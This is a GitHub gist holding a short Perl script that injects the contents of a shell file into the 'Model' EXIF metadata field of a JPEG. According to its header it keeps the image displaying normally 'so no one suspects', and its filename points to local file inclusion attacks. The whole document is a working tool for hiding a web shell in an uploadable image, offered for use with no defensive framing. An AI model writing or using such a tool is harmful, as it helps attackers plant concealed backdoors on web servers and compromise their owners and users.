Skip to content

Instantly share code, notes, and snippets.

@iGh0st
Created June 18, 2014 16:26
Show Gist options
  • Save iGh0st/996423ca7b0bdf4dbafa to your computer and use it in GitHub Desktop.
Save iGh0st/996423ca7b0bdf4dbafa to your computer and use it in GitHub Desktop.
To inject a shell in a JPEG image
#################################################
#It is a fairly simple tool #
# To inject a shell in a JPEG image #
# And that it continues and may be displayed #
# Correctly, this way no one suspects. #
# All it does is put the shell inside #
# Metadata of the photo. #
# -Taken from pastbin #
#################################################
use Image::ExifTool;
print q(
+-----------------------------------+
Shell to jpeg injector
+-----------------------------------+
);
die "[-]Usage: perl 0verLFI.pl <FILE> <IMAGE>\n" unless @ARGV == 2;
my $file = $ARGV[0];
my $jpeg = $ARGV[1];
print "[+]Image = $jpeg \n";
print "[+]Shell = $file \n";
open (HANDLE, $file);
@array = <HANDLE>;
my $string = join("\n", @array);
my $tool = Image::ExifTool->new();
$tool->ExtractInfo($jpeg);
$tool->SetNewValue("Model", $string);
$done = $tool->WriteInfo($jpeg);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment